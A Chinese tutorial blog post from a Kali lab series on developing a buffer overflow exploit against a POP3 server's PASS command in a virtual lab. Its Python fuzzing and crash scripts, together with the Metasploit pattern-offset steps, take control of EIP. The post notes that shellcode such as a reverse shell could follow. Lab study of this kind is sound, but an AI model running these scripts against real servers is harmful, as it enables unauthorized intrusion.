上一篇文章,我已经做好了缓冲区溢出实验的准备工作:

https://www.cnblogs.com/xuyiqing/p/9835561.html

下面就是Kali虚拟机对缓冲区溢出的测试:

已经知道目标IP为:192.168.163.130

连接目标机器110端口成功,接下来进行测试

事先已经知道PASS命令存在缓冲区溢出漏洞:

只要在PASS后边输入的数据达到某一个值时,就会出现缓冲区溢出漏洞

但是,手动尝试这个值实在有点低端,写一个Python脚本:

先写一个基本的脚本来测试:

#!/usr/bin/python
import sockets = socket.socket(socket.AF_INET, socket.SOCK_STREAM)try:print "\nSending evil buffer..."s.connect(('192.168.163.130', 110))data = s.recv(1024)print datas.send('USER test' + '\r\n')data = s.recv(1024)print datas.send('PASS test\r\n')data = s.recv(1024)print datas.close()print '\nDone'except:print 'Can not connect to POP3'

使用脚本:

如果脚本是从windows移过来的:

vi xxx.py

:set fileformat=unix

:wq

chmod u+x xxx.py

./xxx.py

测试:OK

完善脚本:

#!/usr/bin/python
import socketbuffer = ["A"]
counter = 100while len(buffer) <= 30:buffer.append("A" * counter)counter += 200for string in buffer:print "FUZZING PASS WITH %s BYTES" % len(string)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)connect = s.connect(('192.168.163.130', 110))s.recv(1024)s.send('USER test' + '\r\n')s.recv(1024)s.send('PASS ' + string + '\r\n')s.send('QUIT\r\n')s.close()

测试:OK

我们发送这么多的数据来测试,那么问题来了,要怎么判断目标机器到底有没有缓冲区溢出?

这时候就需要上一篇提到的ImmunityDebugger了:

先得到进程的PID:

记住这个PID,打开ImmunityDebugger,file菜单选择attach

然后找到刚才的PID选择即可:

默认的暂停状态,点击开始按钮来继续:

打开Kali虚拟机开始发送:

果然,发送到2900的时候停下来了:

我们看看windows机器:

观察寄存器:

注意这里的寄存器显示:41414141,根据Ascii码表,得出是AAAA

这里重点注意EIP:系统下一步要执行指令的内存地址

而这里下一条指令全部都是A,没有正确的执行代码,所以现在程序已经崩溃了

再看看下边的内存信息:全部都是A

我们可以把脚本的A改成其他字符继续测试,发现都是到3000左右程序崩溃

到这里我们想到:是否可以通过这个漏洞来做一些事情?

OK,我们可以通过脚本测试得到确切的溢出值,然后修改EIP寄存器存放下一条指令的地址

可以添加一些后门程序,如果是Shellcode就可以进一步控制目标机器

下一个目标: 找出精确的溢出到EIP寄存器的字节,进而可以修改程序运行轨迹

我们进一步来写一个脚本:

#!/usr/bin/python
import socketbuffer = 'A' * 2700s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:print "\nSending evil buffer...\n"s.connect(('192.168.163.130', 110))data1 = s.recv(1024)s.send('USER test' + '\r\n')data2 = s.recv(1024)s.send('PASS ' + buffer + '\r\n')s.close()print '\nDone'
except:print 'Can not connect to POP3'

发送过去程序崩溃了,说明2700大了,那么需要调小一些,

改成2600试试:发现程序崩溃了,但是EIP并不是A,所以想要利用需要比2600大

到这里就知道了,最终数据应该是2600-2700之间

不过,具体该怎么精确地跳转呢?

二分法:不必多说

唯一字符串法:生成2700个字符,每四个一组,每一组字符串唯一,发送唯一字符串,精确定位

唯一字符串脚本比较复杂,但不需要自己写,Kali虚拟机里面就有:metasploit-framework一个ruby脚本

使用方式: ./pattern_create.rb -l 2700

我们使用这2700个字符地唯一字符串来修改上边地脚本,把“A”*2700换成这个字符串

查看寄存器:

发现唯一字符串对应地址(16进制)是:39 69 44 38

由于内存地址,读取要倒过来:38 44 69 39

对应字符是:8 D i 9

那么怎样知道对应第几位呢?

metasploit-framework一个ruby脚本可以解决:

使用:

或者这样:

得出是在第2606个位置

既然得到了是在第2606个位置:

就可以继续修改这个脚本了:测试能否恰好是BBBB

#!/usr/bin/python
import socketbuffer = 'A' * 2606 + 'B' * 4 + 'C' * 20s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:print "\nSending evil buffer...\n"s.connect(('192.168.163.130', 110))data1 = s.recv(1024)s.send('USER test' + '\r\n')data2 = s.recv(1024)s.send('PASS ' + buffer + '\r\n')s.close()print '\nDone'
except:print 'Can not connect to POP3'

果然:

查看42对应的就是B

那么

假设,在ESP中,不是20个C,而是Shellcode或者是恶意代码(反向连接等等)

就可以实现远程控制的目的

具体如何精确修改而实现对目标机器的控制呢?

下一篇随笔具体介绍

转载于:https://www.cnblogs.com/xuyiqing/p/9849072.html

Kali学习笔记21:缓冲区溢出实验(漏洞发现)相关推荐

  1. 计算机系统基础学习笔记(7)-缓冲区溢出攻击实验

    缓冲区溢出攻击实验 实验介绍 实验任务 实验数据 目标程序 bufbomb 说明 bufbomb 程序接受下列命令行参数 目标程序bufbomb中函数之间的调用关系 缓冲区溢出理解 目标程序调用的ge ...

  2. 【安全牛学习笔记】缓冲区溢出

    数据与代码边界不清,导致程序执行代码 脚本: #! /bin/bash echo $1 在终端中运行脚本,参数写:或|加上命令,会被系统执行 源码审计 逆向工程 对编译后的文件反汇编 模糊测试  安装 ...

  3. Kali学习笔记31:目录遍历漏洞、文件包含漏洞

    文章的格式也许不是很好看,也没有什么合理的顺序 完全是想到什么写一些什么,但各个方面都涵盖到了 能耐下心看的朋友欢迎一起学习,大牛和杠精们请绕道 目录遍历漏洞: 应用程序如果有操作文件的功能,限制不严 ...

  4. 使用Linux进行缓冲区溢出实验的配置记录

    在基础的软件安全实验中,缓冲区溢出是一个基础而又经典的问题.最基本的缓冲区溢出即通过合理的构造输入数据,使得输入数据量超过原始缓冲区的大小,从而覆盖数据输入缓冲区之外的数据,达到诸如修改函数返回地址等 ...

  5. 区块链学习笔记21——ETH智能合约

    区块链学习笔记21--ETH智能合约 学习视频:北京大学肖臻老师<区块链技术与应用> 笔记参考:北京大学肖臻老师<区块链技术与应用>公开课系列笔记--目录导航页 智能合约简介 ...

  6. java 检查bytebuf长度_Java学习笔记16-Netty缓冲区ByteBuf详解

    Java学习笔记16-Netty缓冲区ByteBuf详解 Netty自己的ByteBuf ByteBuf是为解决ByteBuffer的问题和满足网络应用程序开发人员的日常需求而设计的. JDK Byt ...

  7. c51单片机学习笔记-LED流水灯实验

    目的:实现 LED 流水灯,只需循环让 D1-D8 指示灯逐个点亮. 方法:点亮 D1 且把 D2-D8 熄灭,延时一段时间后再点亮 D2 且把 D1. D3-D8 熄灭,延时一段时间后再点亮 D3 ...

  8. 汇编学习笔记:对抗反汇编实验2019092801

    汇编学习笔记:对抗反汇编实验2019092801 实验描述 实验环境 实验过程 实验结论 实验描述 使用相连的jz和jnz指令跳转到紧接着jnz指令的call指令的第二个字节.call指令实际上无效. ...

  9. nrf52832 学习笔记(九)蓝牙主机发现服务

    nrf52832 学习笔记(九)蓝牙主机发现服务 服务发现流程 数据如同下表一样存储在服务端,客户端首先要获取表中的Handle和Type列,从而知道服务端中存在哪些数据,以便后面读.写.通知等操作. ...

最新文章

  1. 要不是这本书及时出现,本周真撑不下去…
  2. 使用MLX90640自制红外热像仪(一):MLX90640介绍与API库移植
  3. 应用程序“DEFAULT WEB SITE/ICLOCK”中的服务器错误
  4. 概述---《TCP/IP协议》卷一
  5. 哈密顿路径_检查图形是否为哈密顿量(哈密顿路径)
  6. HTML5 Geolocation API : 实时跟踪应用
  7. 获得Local IP Address (C++实现)
  8. Leetcode每日一题:116.populating-next-right-pointers-in-each-node(填充每个节点的下一个右侧节点指针)
  9. Hive vs HBase (配合使用才是最佳方案)
  10. 查看计算机桌面隐藏文件夹,电脑怎么查看隐藏文件(隐藏文件夹显示方法)
  11. 华为认证 HCNA­Cloud 云计算题库
  12. 电脑重装系统记事本打不开提示无法启动此应用程序怎么办
  13. c语言图形题题库,C语言图形输出习题
  14. 100个日常实用脚本
  15. matlab 正弦信号合成三角波,【matlab求助】正弦波叠加成三角波信号
  16. JVM-内存区域 堆、方法区,虚拟机栈、程序计数器详解
  17. 安装httprunner
  18. 【数据结构与算法】期末复习刷题日寄Part01
  19. 宫崎骏动画风格 美日动漫差异
  20. 简单工厂模式-Simple Factory Pattern 工厂三兄弟之简单工厂模式(四):图表库解决方案的改进,简单工厂模式的简化,简单工厂模式总结

热门文章

  1. IDEA开启关闭拼写检查
  2. SQL 基础之DDL语句创建和管理表(十四)
  3. ThinkPHP + Ajax 实现2级联动下拉菜单
  4. 采购订单的审批状态异常的处理,审批状态为:预审批或是处理中的单据
  5. [置顶]       jQuery乱谈(六)
  6. 在单块磁盘上安装2000和XP操作系统
  7. USB无法识别原因分析及解决方案
  8. 自动随机逐层剪枝openpose
  9. 卷积神经网络的一些规则
  10. 原来神经网络的损失函数也是网络的一部分